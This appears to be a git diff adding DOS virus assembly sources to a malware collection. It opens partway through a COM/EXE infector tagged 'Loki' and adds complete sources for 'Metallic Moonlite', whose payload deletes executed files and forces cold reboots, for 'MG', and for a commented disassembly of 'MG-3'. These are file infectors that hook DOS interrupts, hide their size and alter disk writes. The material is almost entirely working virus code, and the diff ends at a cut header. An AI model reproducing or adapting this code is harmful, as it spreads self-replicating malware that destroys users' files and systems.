ax,0010h + mul cx + clc + mov cx,di + add cx,offset ending-100h + add ax,cx + adc dx,0000 + clc + sub bp,ax + sbb bx,dx + clc + mov ax,bp + mov dx,bx + mov cx,0010h + div cx ;dx:ax=memory above this-divide it by 16 + mov bx,ax + mov ah,4ah + int 21h + jc get_memory_error + mov bx,60 + mov ah,48h + int 21h + jc get_memory_error + mov es,ax + clc + ret +get_memory_error: + stc + ret +;------------------------------------------------------------------------------ +;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files) +;------------------------------------------------------------------------------ +move_all_code: +;move PSP************************** + push di + xor si,si + xor di,di + mov cx,100h + rep movsb +;********************************** +;move my code********************** + pop si + push si + push cs + pop ds + mov cx,offset ending-100h + rep movsb + pop di + ret +;********************************** +;------------------------------------------------------------------------------ +;------------------------------------------------------------------------------ +;saves interrupt 21 in cs:[int_21_saveo] +save_21: + push es + xor ax,ax + mov es,ax + mov ax,es:[interrupt*4] + mov bx,es:[interrupt*4+2] + mov cs:[di+offset int_21_saveo-100h],ax + mov cs:[di+offset int_21_saves-100h],bx + pop es + ret + +;----------------------------------------------------------------------------- +;sets interrupt 21 to bx:offset of my_21 +set_21: + push es + xor ax,ax + mov es,ax + mov es:[interrupt*4],offset my_21 + mov es:[interrupt*4+2],bx + pop es + ret +;----------------------------------------------------------------------------- +;----------------------------------------------------------------------------- +;Restores a COM file +restore_com: + push di + mov si,di + add si,offset three_bytes-100h + mov di,0100h + mov cx,3 + rep movsb + pop di + ret +;------------------------------------------------------------------------------ +;Hides my segment's (es) size and owner +hide_memory: + push ds + xor cx,cx + mov ds,cx + mov cx,ds:[2eh*4+2] + pop ds + push ds + mov dx,es + dec dx + mov ds,dx + mov ds:[1],cx ;maybe later set to DOS seg + mov byte ptr ds:[0],'Z' + mov word ptr ds:[3],0000 + mov es:[16h],cx + mov es:[0ah],cx + mov es:[0ch],cx + pop ds + ret +;------------------------------------------------------------------------------ + +;check_for_int 71- My little multiplex interrupt +check_for_int_71: + int 71h + cmp ax,9999h + je set_c + clc + ret +set_c: + stc + ret +;------------------------------------------------------------------------------ + +;Set interrupt 71: +set_int_71: + push ds + xor ax,ax + mov ds,ax + mov ds:[71h*4+2],es + mov ds:[71h*4],offset my_71 + pop ds + ret + + +exit_com: + xor cx,cx + xor dx,dx + xor ax,ax + xor bx,bx + xor si,si + xor di,di + mov ax,100h + jmp ax + +exit_exe: + push ds + pop es + mov ax,es + add ax,10h + add word ptr cs:[di+offset orig_cs-100h],ax + cli + add ax,word ptr cs:[di+offset orig_ss-100h] + mov ss,ax + mov sp,word ptr cs:[di+offset orig_sp-100h] + sti + jmp dword ptr cs:[di+offset orig_ip-100h] + +;------------------------------------------------------------------ +my_21: + cmp ah,4bh + je okay_go + cmp ah,0fh + je okay_go + cmp ah,3dh + je okay_go + cmp ah,43h + je okay_go + jmp continue_21 +okay_go: + push ax + push bx + push cx + push dx + push es + push di + push si + push bp + push es + push ds +check_for_com: + xor si,si + mov bx,dx +looper: + cmp word ptr ds:[bx+si],'c.' + je check_om + cmp word ptr ds:[bx+si],'C.' + je check_om + cmp word ptr ds:[bx+si],'e.' + je check_ex + cmp word ptr ds:[bx+si],'E.' + je check_ex + inc si + cmp si,40 + jne looper + jmp give_up1 +check_om: + cmp word ptr ds:[bx+si+2],'mo' + jne bb + mov cs:[com_or_exe],0 + jmp check_for_infection +bb: cmp word ptr ds:[bx+si+2],'MO' + jne cc + mov cs:[com_or_exe],0 + jmp check_for_infection +cc: jmp give_up1 +check_ex: + cmp word ptr ds:[bx+si+2],'ex' + jne label1 + mov cs:[com_or_exe],1234h + jmp okay_do +label1: + cmp word ptr ds:[bx+si+2],'EX' ;FIX ME!!!!!!! + je cccc ;forget exe for now.. + jmp give_up1 +cccc: + mov cs:[com_or_exe],1234h + jmp okay_do +check_for_infection: + cmp word ptr [bx+si-2],'DN' + jne okey_k + jmp give_up1 +okey_k: + cmp word ptr [bx+si-2],'DN' + jne okay_do + jmp give_up1 +okay_do: + mov cs:[storage_1],ds + mov cs:[storage_2],dx + mov ah,50h ;set PSP to ours + push cs + pop bx + call dos_21 + mov ah,43h + xor al,al + call dos_21 + jnc okay9 + jmp give_up +okay9: mov cs:[attrib],cx + mov ah,43h + mov al,1 + xor cx,cx + call dos_21 + mov ah,3dh + mov al,2 + call dos_21 + jnc okay10 + jmp give_up +okay10: mov cs:[handle],ax + mov bx,ax + mov ah,57h + xor al,al + call dos_21 + mov cs:[date],dx + mov cs:[time],cx + mov ax,4202h + xor dx,dx + xor cx,cx + call dos_21 + jnc okay11 + jmp give_up +okay11: mov cs:[file_size],ax + cmp cs:[com_or_exe],1234h + jne okey_p + sub ax,compare_val + sbb dx,0000 + mov cx,dx + mov dx,ax + jmp contin2 +okey_p: xor cx,cx + cmp ax,63000 + jb contin1 + call reset_all + jmp give_up +contin1: + cmp ax,600 + jnb continx + call reset_all + jmp give_up +continx: + sub ax,compare_val + mov dx,ax + xor cx,cx +contin2: + mov ax,4200h + mov bx,cs:[handle] + call dos_21 + mov ah,3fh + push cs + pop ds + mov dx,offset buffer + mov cx,2 + call dos_21 + mov ax,word ptr cs:[buffer] + mov bx,word ptr cs:[offset dont_write-compare_val] + cmp ax,bx + jne dddd + jmp give_up +dddd: + cmp cs:[com_or_exe],1234h + je infect_exe + jmp infect_com + +infect_exe: + mov bx,cs:[handle] + xor dx,dx + xor cx,cx + mov ax,4200h + call dos_21 + push cs + pop ds + mov ah,3fh + mov cx,18h + mov dx,offset header + call dos_21 + cmp word ptr [header+8],1000h + jb okayh + call reset_all + jmp give_up +okayh: mov ax,word ptr [header+16h] + mov orig_cs,ax + mov ax,word ptr [header+14h] + mov orig_ip,ax + mov ax,word ptr [header+0eh] + mov orig_ss,ax + mov ax,word ptr [header+10h] + mov orig_sp,ax + mov ax,4202h + mov bx,handle + xor cx,cx + xor dx,dx + call dos_21 + mov word ptr ds:[exe_or_com],'EX' + mov high_size,dx + mov low_size,ax + mov real_hsize,dx + mov real_lsize,ax + mov ax,word ptr [header+8] + mov cx,10h + mul cx + clc + sub low_size,ax ;high_size:low_size=load size + sbb high_size,dx + clc + mov dx,high_size + mov ax,low_size + mov cx,0010h + div cx + cmp dx,0 + je okay + mov cx,16 + sub cx,dx + mov bp,cx + add real_lsize,bp + adc real_hsize,0000 + clc + stc + adc ax,0000 + jmp okay1 +okay: xor bp,bp +okay1: xor dx,dx + mov word ptr [header+16h],ax + ;add to dx? + mov word ptr [header+14h],dx + mov word ptr [header+0eh],ax + mov dx,0fffeh + mov word ptr [header+10h],dx + mov dx,real_hsize + mov ax,real_lsize + add ax,offset ending-100h+1 + adc dx,0000 + push ax + mov cl,9 + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + mov word ptr [header+4],dx + mov word ptr [header+2],ax + mov ah,40h + mov bx,handle + mov cx,offset dont_write-100h + add cx,bp + mov dx,100h + sub dx,bp + call dos_21 + mov ax,4200h + xor cx,cx + xor dx,dx + mov bx,handle + call dos_21 + mov ah,40h + mov bx,handle + mov cx,18h + mov dx,offset header + call dos_21 + call reset_all + jmp give_up + +infect_com: + xor cx,cx + xor dx,dx + mov bx,cs:[handle] + mov ax,4200h + call dos_21 + mov ah,3fh + mov cx,3 + push cs + pop ds + mov dx,offset three_bytes + call dos_21 + mov ax,cs:[file_size] + sub ax,3 + mov word ptr cs:[jumper+1],ax + mov word ptr cs:[exe_or_com],'CO' + call write_to_end + xor cx,cx + xor dx,dx + mov ax,4200h + mov bx,cs:[handle] + call dos_21 + mov dx,offset jumper + mov ah,40h + mov cx,3 + call dos_21 + call reset_all +give_up: + mov ah,50h + mov bx,cs:[storage_1] + call dos_21 +give_up1: + pop ds + pop es + pop bp + pop si + pop di + pop es + pop dx + pop cx + pop bx + pop ax + jmp continue_21 +continue_21: + jmp dword ptr cs:[int_21_saveo] +dos_21: + pushf + call dword ptr cs:[int_21_saveo] + ret + +reset_all: + mov bx,cs:[handle] + mov cx,cs:[time] + mov dx,cs:[date] + mov ax,5701h + call dos_21 + mov ah,3eh + mov bx,cs:[handle] + call dos_21 + mov ah,43h + mov al,1 + mov cx,cs:[attrib] + mov ds,cs:[storage_1] + mov dx,cs:[storage_2] + call dos_21 + ret + +write_to_end: + + mov ax,4202h + xor dx,dx + xor cx,cx + mov bx,cs:[handle] + call dos_21 + mov ah,40h + mov cx,offset dont_write-100h + push cs + pop ds + mov dx,0100h + call dos_21 + ret +my_71: + mov ax,9999h + iret + + +jumper: + db 0e9h,00,00 +storage_1 dw 0000 +storage_2 dw 0000 +int_21_saveo dw 0000 +int_21_saves dw 0000 +three_bytes: db 0cdh,20h,90h +db 'Loki' +orig_ip dw 0000 +orig_cs dw 0000 +orig_ss dw 0000 +orig_sp dw 0000 +dont_write: + +header: + db 24 dup(00) +com_or_exe dw 1234h +handle dw 0000 +file_size dw 0000 +attrib dw 0000 +date dw 0000 +time dw 0000 +buffer: dw 0000 +loader_high dw 0000 +loader_low dw 0000 +header_cs dw 0000 +header_ip dw 0000 +low_size dw 0000 +high_size dw 0000 +real_hsize dw 0000 +real_lsize dw 0000 +ending: +Code_seg ENDS +END start \ No newline at end of file diff --git a/m/MET-MOON.ASM b/m/MET-MOON.ASM new file mode 100755 index 0000000..63b8324 --- /dev/null +++ b/m/MET-MOON.ASM @@ -0,0 +1,244 @@ +; Virusname : Metallic Moonlite +; Virusauthor: Metal Militia +; Virusgroup : Immortal Riot +; Origin : Sweden +; +; It's a non-resident, current dir infector of com-files. every first +; of any month it will put a bit of code resident to make ctrl-alt-del's +; to coldboots and delete all files being executed. It's encrypted with +; an XOR-loop. If it's not the first it will simple make a screen-clear. +; Um!.. well, enjoy Insane Reality issue #4! +; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; METALLIC MOONLITE +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +.model tiny +.code +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + org 100h +begin: +dummy_host db 0e9h,00h,00h ; the jmp code +virus_start: + mov bp,0000h ; the delta offset + + call encrypt_decrypt ; call to unencrypt + jmp restore_old_bytes ; restore old first bytes + +write_virus: + call encrypt_decrypt ; call encryption routine + + lea dx,[bp+virus_start] ; from 100h (start) + mov cx,heap-virus_start ; viruslength + mov ah,40h ; write it + int 21h + + call encrypt_decrypt ; once again, encryption routine + ; being called + ret ; ret(urn) to "caller" + + enc_val dw 0 ; encryption value storage + +encrypt_decrypt: + mov dx,word ptr [bp+enc_val] ; the encryption routine + lea si,[bp+restore_old_bytes] + mov cx,(heap_end-virus_start+1)/2 +again: + xor word ptr [si],dx ; a simple XOR thang + inc si ; but gaak!, so effective + inc si + loop again + ret + +restore_old_bytes: + mov di,0100h + lea si,[bp+old_bytes] ; restore old first bytes + movsw + movsb + + lea dx,[bp+new_dta] ; DTA's place + mov ah,1Ah ; set it + int 21h + + lea dx,[bp+com_mask] ; file(s) to find + mov cx,0002h ; hidden/normal attributes + mov ah,4eh ; find first file +find_next: + int 21h + jnc check_file ; found one? if so, check it + jmp bye_bye ; no uninfected files found, + ; outa here +check_file: + mov ax,word ptr [bp+file_time] ; get time of file + and al,00011111b ; mask seconds field + cmp al,00010101b ; check for previous infection + je try_again ; is it infected? so, try another + jmp replicate ; not infected yet, kick it + +try_again: + mov ah,4fh ; find next file + jmp short find_next ; so, do that + +replicate: + lea dx,[bp+file_name] + sub cx,cx + mov ax,4301h ; set attributes + int 21h + + lea dx,[bp+file_name] ; open file + mov ax,3d02h ; read/write access + int 21h + xchg ax,bx ; mov bx,ax + + mov ah,3fh ; read bytes + mov cx,03h ; 3 of them + lea dx,[bp+old_bytes] ; save them in the buffer (old_bytes) + int 21h + + cwd + sub cx,cx + mov ax,4202h ; move file pointer to EOF + int 21h + + sub ax,03h ; 3 bytes + mov word ptr [bp+virus_start+1],ax ; from start + mov word ptr [bp+new_bytes+1],ax ; our jmp code + + mov ah,2ch ; get time + int 21h + mov word ptr [bp+enc_val],dx ; put as encryption value + call write_virus ; write our code (*.*) + + cwd + sub cx,cx + mov ax,4200h ; move file pointer to SOF + int 21h + + lea dx,[bp+new_bytes] ; write our jmp code at beginning + mov cx,03h ; 3 bytes long + mov ah,40h ; kick it + int 21h + + mov dx,word ptr [bp+file_date] + mov cx,word ptr [bp+file_time] + and cl,11100000b + or cl,00010101b + mov ax,5701h ; restore date and time + int 21h ; and mask seconds to show + ; it's infected + mov ah,3eh ; close file + int 21h + + lea dx,[bp+file_name] + sub cx,cx + mov cl,byte ptr [bp+file_attr] + mov ax,4301h ; restore the original attributes + int 21h + + jmp try_again ; try to find another file + +bye_bye: + mov ah,2ah ; get date + int 21h + cmp dl,1 ; the first of any month? + je print_it ; if so, deletion time + jmp nofuckup ; else, quit +print_it: + mov ah,9h ; print note + lea dx,[bp+offset printfake] ; faked thing + int 21h + + jmp resident ; go resident + +int_9_entry proc far + push ax + in al,60h + cmp al,delcode ; ctrl-alt-del? + je warmboot ; if so, boot + pop ax + jmp cs:Old_9 ; let them use the old one +warmboot: + db 0eah,00h,00h,0ffh,0ffh ; no warmboot, but a coldboot + iret ; i wonder if they will notice +int_9_entry endp ; thatone (?) + +int_21h_entry proc far + cmp ax,4b00h ; are they running a file? + jne go_on ; if not, check other thang + mov ah,41h ; delete it + int 21h +go_on: + cmp ax,4B9Fh ; is another copy trying to go resident? + je loc_0111 ; if so, show that we're here already + jmp cs:Old_21 ; else, let them use old int21 +loc_0111: + mov ax,1994h ; 1994, our TSR mark here + iret ; to show that one copy's already eating memory +int_21h_entry endp +en: + +resident: + mov ax,3509h ; hook int9 (to read keyboard) + int 21h + + mov word ptr cs:Old_9,bx ; save the old one here + mov word ptr cs:Old_9+2,es + mov ax,2509h + mov dx,offset int_9_entry ; and use ours instead + int 21h + + mov ax,3521h ; hook int21 too (for filedeletion) + int 21h + + mov word ptr cs:Old_21,bx ; save old int21 here + mov word ptr cs:Old_21+2,es + mov ax,2521h + mov dx,offset int_21h_entry ; and let ours be used instead + int 21h + + mov dx,offset en ; what to put resident + int 27h ; do it + +nofuckup: +; mov ah,0fh ; remove the first ";" +; int 10h ; and a screen-clear +; mov ah,0 ; will occure every +; int 10h ; execution. + + +restore_it_all: + jmp restore_dir ; restore everything + +restore_dir: + mov ah,1ah ; restore DTA + mov dx,80h ; right now + int 21h + + mov ax,0100h ; set ax to start + push ax ; push it + retn ; back to original program + +virusname db 'Metallic Moonlite' ; virus name +copyright db '(c) Metal Militia/Immortal Riot' ; virus author +greetings db 'Greetings to The Unforgiven/IR' +printfake db 'Bad command or filename$' + +com_mask db '*.com',0 ; files to infect, .com(mand) +old_bytes db 0cdh,20h,90h ; old jmp saved here +new_bytes db 0e9h,00h,00h ; new jmp code here +delcode equ 53h ; ctrl-alt-del code(s) + +heap: +old_9 dd 0 ; save's old int9 here +old_21 dd 0 ; save's old int21 aswell +new_dta db 21 dup(?) ; the new DTA +file_attr db ? ; files attributes +file_time dw ? ; files time +file_date dw ? ; files date +file_size dd ? ; files size +file_name db 13 dup(?) ; files name +old_attrs db 5 dup(?) ; files old attributes +heap_end: ; eov (end of virus) +cseg ends + end begin \ No newline at end of file diff --git a/m/MG-3.ASM b/m/MG-3.ASM new file mode 100755 index 0000000..a8cf4c9 --- /dev/null +++ b/m/MG-3.ASM @@ -0,0 +1,338 @@ + page ,132 +; +; name: mg-3.vom +; +; program type: com/bin +; +; cpu type: 8086 +; +; program loaded at 0000:01f8 +; +; physical eof at 0000:03f5 +; +; program entry point at 0000:01f8 +; +fun segment +assume cs:fun,ds:fun,es:fun,ss:fun +; +; references before the start of code space +; + org 0006h +h_0006 label word + org 004ch +h_004c label word + org 004eh +h_004e label word + org 0090h +h_0090 label word + org 0092h +h_0092 label word +; +; data references to code space addresses +; +; org 0339h +;h_0339 label byte +; +; start of program +; + org 01f8h +h_01f8: + call h_0204 ;goto virus + nop + mov ax,4c00h + int 21h ;terminate program +; +h_0201 db 0ebh,02h,90h ;saved_prog_start +h_0204: + xchg ax,dx ;save ax + pop di ;get return address + dec di ;back by 2 + dec di ;to CALL ofs + mov si,[di] ;get call ofs + dec di ;back 1 to start of program + add si,di ;call ofs plus prog start + ;= saved_prog_start + push cs ;save cs + push di ;and di for program start + cld ;up! + movsw ;replace 1st word + movsb ;and 3rd byte of program + mov ax,4b04h ;fn = virus ID + int 21h ;call DOS + jae h_027f ;OK (installed), skip this + xor ax,ax ;get a 0 + mov es,ax ;address INT seg + mov di,0204h ;es:di = new virus home + mov cx,offset h_03f5-h_0204 ;virus size (01f1h) + repz movsb ;copy virus to low mem + les di,[0006h] ;get seg:ofs of CPMtype doscall + mov al,0eah ;JMPF instruction + dec cx ;cx = 0FFFFh + repnz scasb ;find JMPF + les di,es:[di] ;get seg:ofs to DOS + sub di,-21h ;up to ?? + jmp 0000h:0239h ;goto virus in low memory +h_0239: + push es ;DOS seg + pop ds ;to ds + mov si,[di-04h] ;get ptr to max_dos_fn + lodsb ;get that byte + cmp al,68h ;at least 68? + mov [di-03h],al ;set immediate compare value + mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction + mov word ptr [di-07h],0fccdh ;INT 0FCH instruction + push cs ;current segment + pop ds ;to ds + mov [03fch],di ;set INT FF ofs to DOS entry + mov [03feh],es ;and INT FF seg to DOS entry + ;BUG: need to have INT FF point to the + ; CMP AH,xx instruction they + ; have set up!!! + mov byte ptr [h_0339],0ah ;set dosver_skip + jnae h_026e ;not DOS 3.3+, skip this + mov byte ptr [h_0339],00h ;reset dosver_skip + mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector + mov [h_07b6],cs ;and seg of saved INT 13 vector + ;in IBMBIO.COM + ;NOTE: How stable are these locations?!?!?! +h_026e: + mov al,0a9h ;TEST AX,xxxx instruction +h_0270: + repnz scasb ;find it + cmp word ptr es:[di],-28h ;immediate value = 0FFD8h? + ;NOTE: test for illegal flag values + jnz h_0270 ;no, try again + mov al,18h ;new immediate value: 0FF18h + ;NOTE: remove "our" flag from illegal values + stosb ;modify test instr + push ss ;copy PSP seg + pop ds ;to ds + push ss ;and again + pop es ;to es +h_027f: + xchg ax,dx ;get original AX back + retf ;and execute infected program +; +; intfchere +; +h_0281: + push ax ;save regs + push dx + push ds + push cx + push bx + push es + cmp ax,4b04h ;fn = virus ID? + jz h_02ad ;yes, cleanup and exit NC + xchg ax,cx ;save ax + mov ah,2fh ;fn = get DTA + int 0ffh ;call DOS + cmp ch,11h ;fn = FCB find first? + jz h_029b ;yes, stop here + cmp ch,12h ;fn = FCB find next? + jnz h_02b4 ;no, skip this +h_029b: + xchg ax,cx ;get fn back + int 0ffh ;call to DOS + push ax ;save return code + test byte ptr es:[bx+13h],0c0h ;check our attribute bits + jz h_02ac ;not set, skip this + sub word ptr es:[bx+24h],offset h_03f5-h_0201 + ;update filesize to hide virus (01f4h) +h_02ac: + pop ax ;restore regs +h_02ad: + pop es + pop bx + pop cx + add sp,+0ch ;cleanup stack + iret ;and return to caller + ;BUG: Should preserve returned flags! +h_02b4: + mov ah,19h ;fn = get current disk + int 0ffh ;call to DOS + push ax ;save disk + cmp ch,36h ;fn = get disk free space? + jz h_02e9 ;yes, stop here + cmp ch,4eh ;fn = find first? + jz h_02e0 ;yes, stop here + cmp ch,4bh ;fn = load/execute? + jz h_02e0 ;yes, stop here + cmp ch,47h ;fn = get current dir? + jnz h_02d1 ;no, skip this + cmp al,02h ;drive >= C:? + jae h_02ee ;yes, stop here +h_02d1: + cmp ch,5bh ;fn = create new file? + jz h_02e0 ;yes, stop here + shr ch,1 ;fn / 2 + cmp ch,1eh ;fn = 3C or 3D? + ;create file or open file? + jz h_02e0 ;yes, stop here + jmp h_03bb ;else continue DOS call +h_02e0: + mov ax,121ah ;fn = get file's drive + xchg si,dx ;ds:si = filename + int 2fh ;multiplex interrupt + xchg ax,dx ;ax = old si, dx = drive + xchg ax,si ;old si to si +h_02e9: + mov ah,0eh ;fn = set current disk + dec dx ;drive A: = 0, B: = 2, etc + int 0ffh ;call to DOS +h_02ee: + push es ;save dta seg + push bx ;and dta ofs + sub sp,+2ch ;allocate locals + mov dx,sp ;get ptr to local DTA + push sp ;save ptr to local DTA + mov ah,1ah ;fn = set DTA + push ss ;stack segment + pop ds ;is DTA seg + int 0ffh ;call to DOS + mov bx,dx ;bx = ptr to DTA + push cs ;current segment + pop ds ;to ds + mov ah,4eh ;fn = find first matching file + mov dx,offset h_03e9 ;ds:dx = wildcard_com + mov cx,0003h ;attributes = HIDDEN, Read-Only + int 0ffh ;call to DOS + jnae h_0319 ;error, cleanup and exit +h_030c: + test byte ptr ss:[bx+15h],80h ;our attribute set? + jz h_031c ;no, continue + ;BUG: If it will re-infect a file with the + ; MG-2 attribute set, then the above + ; size change mask will FAIL! +h_0313: + mov ah,4fh ;fn = find next matching file + int 0ffh ;call to DOS + jae h_030c ;OK, check out this file +h_0319: + jmp h_03b2 ;cleanup and exit +h_031c: + cmp byte ptr ss:[bx+1bh],0fdh ;file too big? + ja h_0313 ;yes, try next file + mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs + mov [0092h],cs ;and INT24HERE seg + ;NOTE: The original values are NOT saved! + les ax,[004ch] ;get INT 13 vector + mov [h_03f7],ax ;save oldint13ofs + mov [h_03f9],es ;and oldint13seg +h_0339 equ $+1 ;dosver_skip + jmp short h_033a ;if not DOS 3.3+, skip this +h_033a: + mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2 + mov [004eh],cs ;and new INT 13 seg, too +; +; dosver_skip comes here +; + push ss ;DTA seg + pop ds ;to ds + push word ptr [bx+16h] ;save file time + push word ptr [bx+18h] ;and file date + push word ptr [bx+15h] ;and file attributes + lea dx,[bx+1eh] ;ds:dx = name found in DTA + mov ax,4301h ;fn = set file attributes + pop cx ;get file attributes + and cx,00feh ;high byte, R/O bit off + or cl,0c0h ;set our attributes + int 0ffh ;call to DOS + mov ax,3d02h ;fn = open file for read/write + int 0ffh ;call to DOS + xchg ax,bx ;handle to bx + push cs ;current segment + pop ds ;to ds + mov ah,3fh ;fn = read file + mov cx,0003h ;size of saved_prog_start + mov dx,offset h_0201 ;ds:dx = saved_prog_start + int 0ffh ;call to DOS + mov ax,4202h ;fn = lseek to EOF+CX:DX + xor dx,dx ;cx:dx = 0 + mov cx,dx + int 0ffh ;call to DOS + mov [h_03f5],ax ;save virus_call_ofs + mov ah,40h ;fn = write to file + mov cx,offset h_03f5-h_0201 ;virus size (01f4h) + mov dx,offset h_0201 ;ds:dx = this virus + int 0ffh ;call to DOS + jnae h_039c ;error, cleanup and quit + mov ax,4200h ;fn = lseek to BOF+CX:DX + xor dx,dx ;cx:dx = 0 + mov cx,dx + int 0ffh ;call to DOS + mov ah,40h ;fn = write to file + mov cx,0003h ;size of virus_call + mov dx,offset h_03f4 ;ds:dx = virus_call + int 0ffh ;call to DOS +h_039c: + mov ax,5701h ;fn = set file time/date + pop dx ;restore file date + pop cx ;and file time + int 0ffh ;call to DOS + mov ah,3eh ;fn = close file + int 0ffh ;call to DOS + les ax,[h_03f7] ;get oldint13 + mov [004ch],ax ;restore INT 13 ofs + mov [004eh],es ;and INT 13 seg +h_03b2: + add sp,+2eh ;clean stuff off stack + pop dx ;restore old DTA ofs + pop ds ;and old DTA seg + mov ah,1ah ;fn = set DTA + int 0ffh ;call to DOS +h_03bb: + pop dx ;get default drive back + mov ah,0eh ;fn = set current drive + int 0ffh ;call to DOS + pop es ;restore regs + pop bx + pop cx + pop ds + pop dx + pop ax + iret ;continue INT 21 +; +; int24here +; +h_03c7: + mov al,03h ;response = FAIL + iret ;and done +; +; int13here_2 +; +h_03ca: + cmp ah,03h ;fn = write? + jnz h_03d6 ;no, skip this + inc byte ptr cs:[h_03ef] ;update ?? + dec ah ;change function to read +h_03d6: + jmp dword ptr cs:[h_03f7] ;and continue INT 13 +; +; int13here +; +h_03db: + shr byte ptr cs:[h_03ef],1 ;update ?? + jae h_03e4 ;yes, skip this + inc ah ;change function + ;i.e. read changes to write, etc! +h_03e4: + jmp dword ptr cs:[h_07b0] ;continue INT 13 +; +h_03e9 db "* .COM" ;wildcard_com +h_03ef db 00h + ;NOTE: location of following data CANNOT change! +h_03f0 dw h_0281,0000h ;INT 0FCH vector! +h_03f4 db 0e8h ;virus_call +h_03f5 equ $ +; +; references after the end of code space +; + org 03f5h +h_03f5 label word ;virus_call_ofs + org 03f7h +h_03f7 label word ;oldint13ofs + org 03f9h +h_03f9 label word ;oldint13seg +fun ends + end h_01f8 diff --git a/m/MG.ASM b/m/MG.ASM new file mode 100755 index 0000000..4b0dbe4 --- /dev/null +++ b/m/MG.ASM @@ -0,0 +1,300 @@ +; (C) Copyright VirusSoft Corp. Aug, 1990 + + ofs = 201h + len = offset end-ofs + +start: call $+6 + + org ofs + +first: dw 020cdh + db 0 + + xchg ax,dx + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + cld + movsw + movsb + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h ; mov es:[di],byte ptr 98h + stosb ; + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + push ds ; jmp start + mov dx,0100h ; + push dx ; + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + push ds + pop es + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test es:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp es:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + push es + les di,[4ch] ; int 13h + mov i13adr,di + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + ; +not3_3: pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*.COM" + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + + \ No newline at end of file diff --git a/m/MG2.ASM b/m/MG2.ASM new file mode 100755 index 